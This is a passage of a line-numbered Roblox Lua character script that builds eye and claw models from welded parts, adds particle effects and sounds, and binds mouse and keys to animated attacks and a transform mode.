Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.11095357, 0.452475548, 3.33581829, 0.214266971, -0.258726388, -0.941886604, 0.124996454, -0.949091196, 0.289140463, -0.968744338, -0.179685742, -0.171018958))
2606
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
2607
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.445028067, 4.04179811, -4.22505188, -0.433007121, 0.86602807, 0.250001073, 0.176776409, 0.353552371, -0.918559194, -0.883886516, -0.353548348, -0.306183964))
2608
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
2609
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2610
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.71447492, 0.377288342, 4.1787672, 0.258815825, 7.89761543e-007, -0.965926647, 2.11596489e-006, 1.00000012, 1.35600567e-006, 0.965926886, -2.41398811e-006, 0.258815885))
2611
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
2612
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.452456236, 4.21090841, 3.33576679, -0.124996543, 0.949091196, -0.289140046, 0.214267105, -0.25872606, -0.941886783, -0.968744338, -0.179685771, -0.171019137))
2613
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
2614
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2615
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.94182658, 0.445016861, 4.22507095, 0.176774979, 0.353554398, -0.918558657, -0.433007926, 0.866026998, 0.250003278, 0.883886337, 0.353548825, 0.306183696))
2616
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
2617
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.256506443, 3.92671657, -4.59811449, -1.00000024, 2.62260437e-006, 1.4603138e-006, -7.4505806e-007, 0.258819073, -0.965925872, -2.89268792e-006, -0.965925932, -0.258819073))
2618
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
2619
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2620
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.4743073, 0.377253056, 1.63544273, 0.866023183, -4.61935997e-007, -0.500004172, 1.52736902e-006, 1.00000012, 1.65402889e-006, 0.500004232, -2.21282244e-006, 0.866023183))
2621
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2622
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.15870619, 0.452619314, 0.758959055, -0.533491194, -0.310006529, -0.786945462, 0.124997422, -0.949090362, 0.289142251, -0.836518347, 0.0558886975, 0.545081377))
2623
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2624
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.84976673, 0.256440639, 1.85214663, 6.2584877e-007, 0.866025329, -0.500000298, -1.00000024, 1.72108412e-006, 1.7285347e-006, 2.38418579e-006, 0.500000298, 0.866025329))
2625
Gear2=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(4.29999971, 4.30000019, 1))
2626
Gear2weld=weld(m,Handle2,Gear2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.049841404, 0.049908638, 2.78949738e-005, 0.999990344, -5.01424074e-006, -1.49011612e-007, 5.28991222e-006, 0.999994934, 2.98023224e-008, 2.38418579e-007, -1.63912773e-007, 0.999994636))
2627
mesh("SpecialMesh",Gear2,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15))
2628
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2629
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.82676554, 0.256523609, 4.598104, -1.1920929e-006, 0.258818835, -0.965925872, -1.00000012, 1.46776438e-006, 1.63912773e-006, 1.83098018e-006, 0.965925872, 0.258818835))
2630
2631
local modelzorz3=Instance.new("Model") 
2632
modelzorz3.Parent=Character 
2633
modelzorz3.Name="Eye"
2634
2635
handle=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1.20000005))
2636
handleweld=weld(m,Character["Torso"],handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-2.22326851, -3.5562191, -0.038143158, 0, 0, 1, 0, 1, 0, -1, 0, 0))
2637
mesh("SpecialMesh",handle,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 3, 1))
2638
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005))
2639
Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
2640
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 0.950000048, 1.16999996))
2641
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005))
2642
Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
2643
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 3, 0.863999963))
2644
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(3.79999995, 4, 1.39999998))
2645
Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0))
2646
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.77400017, 4.96199989, 4.73800039))
2647
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(3.79999995, 4, 1.39999998))
2648
Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0))
2649
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.4920001, 4.70400047, 4.73800039))
2650
Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
2651
Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.48671532, -1.09328079, 1, -2.52891718e-012, -6.81310423e-013, 2.53075664e-012, 0.866021812, 0.500005603, -6.74442273e-013, -0.500005603, 0.866021752))
2652
Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
2653
Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100009918, -3.09970522, 1.40989685, 1, 0, 0, 0, 1, 0, 0, 0, 1))
2654
Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
2655
Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.100009918, -3.09970522, 1.39007568, -0.999999702, 0, 5.96046448e-008, 0, 1, 0, -5.96046448e-008, 0, -0.999999702))
2656
Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
2657
Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.61302567, 0.360752106, 1, -3.69486299e-012, 1.70532143e-012, 3.81851625e-012, 0.707111537, -0.707102001, 1.40679254e-012, 0.70710206, 0.707111537))
2658
local moosick = it("Sound",Character)
2659
moosick.SoundId = "rbxassetid://613035749"
2660
 --142653441, 175067863
2661
moosick.Looped = true
2662
moosick.Pitch = 0.9775
2663
moosick.Volume = 1.5
2664
moosick:Play()
2665
2666
anim = Character:findFirstChild("Animate")
2667
if anim then
2668
anim:Destroy()
2669
end
2670
2671
local particleemitter = Instance.new("ParticleEmitter", Handle)
2672
particleemitter.VelocitySpread = 180
2673
particleemitter.Lifetime = NumberRange.new(0.1)
2674
particleemitter.Speed = NumberRange.new(2)
2675
particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)})
2676
particleemitter.RotSpeed = NumberRange.new(-45, 45)
2677
particleemitter.Rate = 100
2678
particleemitter.Rotation = NumberRange.new(-45, 45)
2679
particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
2680
particleemitter.LightEmission = 0.8
2681
particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
2682
2683
local particleemitter = Instance.new("ParticleEmitter", Handle2)
2684
particleemitter.VelocitySpread = 180
2685
particleemitter.Lifetime = NumberRange.new(0.1)
2686
particleemitter.Speed = NumberRange.new(2)
2687
particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)})
2688
particleemitter.RotSpeed = NumberRange.new(-45, 45)
2689
particleemitter.Rate = 100
2690
particleemitter.Rotation = NumberRange.new(-45, 45)
2691
particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
2692
particleemitter.LightEmission = 0.8
2693
particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
2694
2695
local particleemitter = Instance.new("ParticleEmitter", handle)
2696
particleemitter.VelocitySpread = 180
2697
particleemitter.Lifetime = NumberRange.new(0.1)
2698
particleemitter.Speed = NumberRange.new(2)
2699
particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 7.563)})
2700
particleemitter.RotSpeed = NumberRange.new(-45, 45)
2701
particleemitter.Rate = 100
2702
particleemitter.Rotation = NumberRange.new(-45, 45)
2703
particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
2704
particleemitter.LightEmission = 0.8
2705
particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
2706
2707
local light = Instance.new("PointLight", Character.Torso)
2708
light.Color = Color3.new(255,255,255)
2709
light.Brightness = 5
2710
light.Range = 15
2711
2712
particleemitter.Enabled = true
2713
2714
local Footsteps = it("Sound",Character.Torso)
2715
Footsteps.SoundId = "rbxassetid://142665235"
2716
Footsteps.Looped = true
2717
Footsteps.Pitch = 0.8
2718
Footsteps.Volume = 0.3
2719
2720
local Footsteps2 = it("Sound",Character.Torso)
2721
Footsteps2.SoundId = "rbxassetid://142665235"
2722
Footsteps2.Looped = true
2723
Footsteps2.Pitch = 1
2724
Footsteps2.Volume = 0.4
2725
2726
local cam = game.Workspace.CurrentCamera
2727
2728
--cam.CameraSubject = Character
2729
2730
for i,v in pairs(Head:children()) do
2731
    if v:IsA("Sound") then
2732
        v:Destroy()
2733
    end
2734
end
2735
2736
mouse.Button1Down:connect(function()
2737
        if attack==false and attacktype==1 then
2738
                attacktype=2
2739
                attackone()
2740
        elseif attack==false and attacktype==2 then
2741
                attacktype=3
2742
                attacktwo()
2743
		elseif attack==false and attacktype==3 then
2744
				attacktype=4
2745
				attackthree()
2746
		elseif attack==false and attacktype==4 then
2747
				attacktype=1
2748
				attackfour()
2749
        end
2750
end)
2751
2752
mouse.KeyDown:connect(function(k)
2753
	k=k:lower()
2754
	if k=='e' then
2755
		if attack==false and mana>=20 then
2756
			Push()
2757
		end
2758
		elseif k=='g' then
2759
		if attack==false and mana>=50 then
2760
			Twirl()
2761
		end
2762
		elseif k=='v' then
2763
		if attack==false and mana>=25 then
2764
			MagicJump()
2765
		end
2766
		elseif k=='c' then
2767
	if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then
2768
    attack=true
2769
        for i = 1, 40 do
2770
          swait()
2771
          Neck.C0 = clerp(Neck.C0, necko * euler(-0.5, 0, 0), 0.1)
2772
          RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, 0) * euler(0, 0, 0), 0.1)
2773
          RW.C0 = clerp(RW.C0, cf(1.3, 1, 0) * euler(2.5, 0, 0) * euler(0, 0, 0.4), 0.1)
2774
          RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1)
2775
          LW.C0 = clerp(LW.C0, cf(-1.3, 0.5, 0) * euler(0.6, 0, 0) * euler(0, 0, -0.5), 0.1)
2776
          LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1)
2777
          RH.C0 = clerp(RH.C0, cf(1, -1, 0) * euler(0, 0, 0.1) * euler(0, math.pi / 2, 0), 0.1)
2778
          LH.C0 = clerp(LH.C0, cf(-1, -1, 0) * euler(0, 0, -0.1) * euler(0, -math.pi / 2, 0), 0.1)
2779
        end
2780
			Blaze()
2781
attack = false
2782
end
2783
		elseif k=='x' then
2784
	if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then
2785
    attack=true
2786
        for i = 1, 15 do
2787
          swait()
2788
          Neck.C0 = clerp(Neck.C0, necko * euler(0.5, 0, 0), 0.3)
2789
          RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, -1) * euler(0.5, 0, 0), 0.35)
2790
          RW.C0 = clerp(RW.C0, cf(1.5, 1, 0) * euler(0, 0, 0) * euler(0.3, 0, 0.6), 0.35)
2791
          RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2)
2792
          LW.C0 = clerp(LW.C0, cf(-1.5, 1, 0) * euler(-0.5, 0, 0) * euler(0, 0, -0.7), 0.35)
2793
          LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2)
2794
          RH.C0 = clerp(RH.C0, cf(1, 0.25, -0.5) * euler(0.55, 0, 0) * euler(0, math.pi / 2.2, 0), 0.35)
2795
          LH.C0 = clerp(LH.C0, cf(-1, -1, -0.5) * euler(-0.7, 0, 0) * euler(0, -math.pi / 1.8, 0), 0.35)
2796
        end
2797
so("http://www.roblox.com/asset/?id=163619849",workspace,2.5,0.35)
2798
so("http://www.roblox.com/asset/?id=299058146",workspace,2.5,0.65)
2799
for i = 0, 30 do
2800
	BlastEffect(BrickColor.new("Really black"),cf(tors.Position) * euler(0, math.random(-50, 50), 0) ,.9,5,.9,5,0.2,5)
2801
wait(0.1)
2802
end
2803
local parteffected = Instance.new("Part",tors)
2804
parteffected.Transparency = 1
2805
parteffected.Position = tors.Position
2806
parteffected.CanCollide = false
2807
parteffected.Anchored = true
2808
so("http://www.roblox.com/asset/?id=153832545",workspace,0.5,0.5)
2809
so("http://www.roblox.com/asset/?id=165970126",workspace,1,0.4)
2810
BlastEffect(BrickColor.new("Really black"),cf(parteffected.Position) * euler(0, math.random(-50, 50), 0),.9,.9,.9,15,5,15)
2811
MagicCircle(BrickColor.new("Really black"),cf(parteffected.Position),5,5,5,15,15,15,0.05)
2812
MagicCircle(BrickColor.new("Really black"),cf(parteffected.Position),5,5,5,22.5,22.5,22.5,0.05)
2813
BlastEffect(BrickColor.new("Really black"),cf(parteffected.Position) * euler(0, math.random(-50, 50), 0),.9,25,.9,30,5,30)
2814
        local sbs = Instance.new("BodyPosition", RootPart)
2815
        sbs.P = 3000
2816
        sbs.D = 1000
2817
        sbs.maxForce = Vector3.new(500000, 500000000, 500000)
2818
        sbs.position = RootPart.CFrame.p + Vector3.new(0, 2000, 0)
2819
        for i = 1, 40 do
2820
          swait()
2821
          Neck.C0 = clerp(Neck.C0, necko * euler(-0.5, 0, 0), 0.1)
2822
          RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, 0) * euler(0, 0, 0), 0.1)
2823
          RW.C0 = clerp(RW.C0, cf(1.3, 1, 0) * euler(2.5, 0, 0) * euler(0, 0, 0.4), 0.1)
2824
          RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1)
2825
          LW.C0 = clerp(LW.C0, cf(-1.3, 0.5, 0) * euler(0.6, 0, 0) * euler(0, 0, -0.5), 0.1)
2826
          LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1)
2827
          RH.C0 = clerp(RH.C0, cf(1, -1, 0) * euler(0, 0, 0.1) * euler(0, math.pi / 2, 0), 0.1)
2828
          LH.C0 = clerp(LH.C0, cf(-1, -1, 0) * euler(0, 0, -0.1) * euler(0, -math.pi / 2, 0), 0.1)
2829
        end
2830
wait(3)
2831
			Blaze2()
2832
attack = false
2833
parteffected:Destroy()
2834
sbs:Destroy()
2835
end
2836
		elseif k=='q' then
2837
		if attack==false then
2838
		idle=1000
2839
		end
2840
		elseif k=='h' then
2841
		if attack==false then
2842
		mana=100
2843
		end
2844
		elseif k=='y' then
2845
		if attack==false and mana>=100 then
2846
			Shred()
2847
		end
2848
		elseif k=='f' then
2849
		if attack==false and mana>=40 then
2850
			Spin()
2851
		end
2852
		elseif k=='r' then
2853
		if attack==false and mana>=20 then
2854
			Clap()
2855
		end
2856
		elseif k=='t' then
2857
		if attack==false then
2858
			Hai()
2859
		end
2860
		elseif k=='0' then
2861
		if attack==false then
2862
			Humanoid.WalkSpeed=(24)
2863
		end
2864
		elseif k=='j' then
2865
		if attack==false then
2866
			Humanoid.Health = 10
2867
			print("Congrats, you commited suicide.")
2868
		end
2869
	end
2870
end)
2871
2872
mouse.KeyDown:connect(function(k)
2873
if k == "z" and Ultramode == false then
2874
if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then
2875
                attack = true
2876
        for i = 1, 15 do
2877
          swait()
2878
          Neck.C0 = clerp(Neck.C0, necko * euler(0.5, 0, 0), 0.3)
2879
          RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, -1) * euler(0.5, 0, 0), 0.35)
2880
          RW.C0 = clerp(RW.C0, cf(1.5, 1, 0) * euler(0, 0, 0) * euler(0.3, 0, 0.6), 0.35)
2881
          RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2)
2882
          LW.C0 = clerp(LW.C0, cf(-1.5, 1, 0) * euler(-0.5, 0, 0) * euler(0, 0, -0.7), 0.35)
2883
          LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2)
2884
          RH.C0 = clerp(RH.C0, cf(1, 0.25, -0.5) * euler(0.55, 0, 0) * euler(0, math.pi / 2.2, 0), 0.35)
2885
          LH.C0 = clerp(LH.C0, cf(-1, -1, -0.5) * euler(-0.7, 0, 0) * euler(0, -math.pi / 1.8, 0), 0.35)
2886
        end
2887
m:Destroy()
2888
local m = Instance.new("Model", Character)
2889
m.Name = "WeaponModel"
2890
local parta = Instance.new("Part",Character)
2891
  parta.Size = vt(10,10,10)
2892
  parta.BrickColor = BrickColor.new("Really black")
2893
  parta.Material = "Neon"
2894
  parta.Shape = "Ball"
2895
  parta.Transparency = 0
2896
  parta.Anchored = true
2897
  parta.CanCollide = false
2898
  parta.CFrame = tors.CFrame
2899
                Transform()
2900
parta:Destroy()
2901
2902
local modelzorzz=Instance.new("Model") 
2903
modelzorzz.Parent=Character 
2904
modelzorzz.Name="Claw1"
2905
2906
Handle=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(3, 3, 3))
2907
Handleweld=weld(m,Character["Torso"],Handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-6.74455023, 0.843135834, 3.31332064, 0.866820872, 0.000393055088, -0.498619556, 0.129048944, -0.966104209, 0.223582461, -0.481630623, -0.258152217, -0.837489963))
2908
mesh("SpecialMesh",Handle,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1))
2909
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2910
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.89693689, 0.0205960274, 1.83752108, 0.00084605813, 0.865680099, -0.500597, -0.999998748, 2.925843e-005, -0.00163948536, -0.00140464306, 0.500597715, 0.865678906))
2911
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
2912
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0205993652, 3.97038841, -4.62090921, -0.999998689, 2.810359e-005, -0.00163501501, 0.00158691406, 0.25815019, -0.966103554, 0.0003949448, -0.966104805, -0.258149862))
2913
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
2914
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2915
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.18639517, -0.292996764, 3.91572571, -0.407002717, 0.123095758, -0.905094743, -0.483149111, -0.869928718, 0.098949343, -0.775187671, 0.477568328, 0.413536996))
2916
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2917
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.62196398, -0.29297936, 1.11572647, -0.835932732, 0.424737811, -0.347583354, -0.483153641, -0.869926155, 0.0989501327, -0.260344028, 0.250651836, 0.932413459))
2918
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2919
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.55920649, -0.210347176, 1.642519, -0.865201712, -0.000320911407, -0.501423895, -2.98991799e-005, -0.999999881, 0.000691637397, -0.501424074, 0.000613339245, 0.865201592))
2920
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2921
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.931638, -0.0751047134, 4.50077248, -0.352038473, 0.176153034, -0.919260144, -0.86644727, -0.432817101, 0.248874903, -0.354031444, 0.884103954, 0.304995537))
2922
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2923
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.34771347, -0.763819337, 1.31078529, 0.484322906, -0.259408951, -0.835546851, 0.129806682, 0.965767562, -0.224595979, 0.865206063, 0.000317394733, 0.501416266))
2924
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2925
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.85524988, -0.0749192238, 1.7092638, -0.499263257, 0.749717236, -0.434350491, -0.866449237, -0.432811975, 0.248876765, -0.00140497088, 0.500597596, 0.865678906))
2926
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2927
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.76954031, -0.210381031, 4.2438035, -0.257231236, -0.00066010654, -0.966349661, -3.04505229e-005, -0.999999762, 0.000691249967, -0.966350019, 0.000207226723, 0.257231265))
2928
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2929
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.87043977, 0.020611763, 4.62094831, 0.00159165263, 0.258152187, -0.966103137, -0.999998748, 2.89455056e-005, -0.00163969398, -0.000395349402, 0.966104329, 0.258151829))
2930
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
2931
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.292981744, 4.28636312, -3.9157095, -0.48314926, -0.869928479, 0.0989517197, -0.407004297, 0.123094313, -0.905094087, 0.775186777, -0.477569282, -0.413537562))
2932
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
2933
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2934
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.85442352, -0.763632059, 3.85966015, -0.269319534, -0.183654502, -0.945377231, 0.129806384, 0.96576786, -0.22459501, 0.954262853, -0.183203816, -0.236260682))
2935
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
2936
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0751276016, 4.03159618, -4.50067854, -0.866445661, -0.432817698, 0.248879611, -0.352042913, 0.176151246, -0.919258773, 0.354030937, -0.884103894, -0.304995805))
2937
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
2938
Gear=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(4.29999971, 4.30000019, 1))
2939
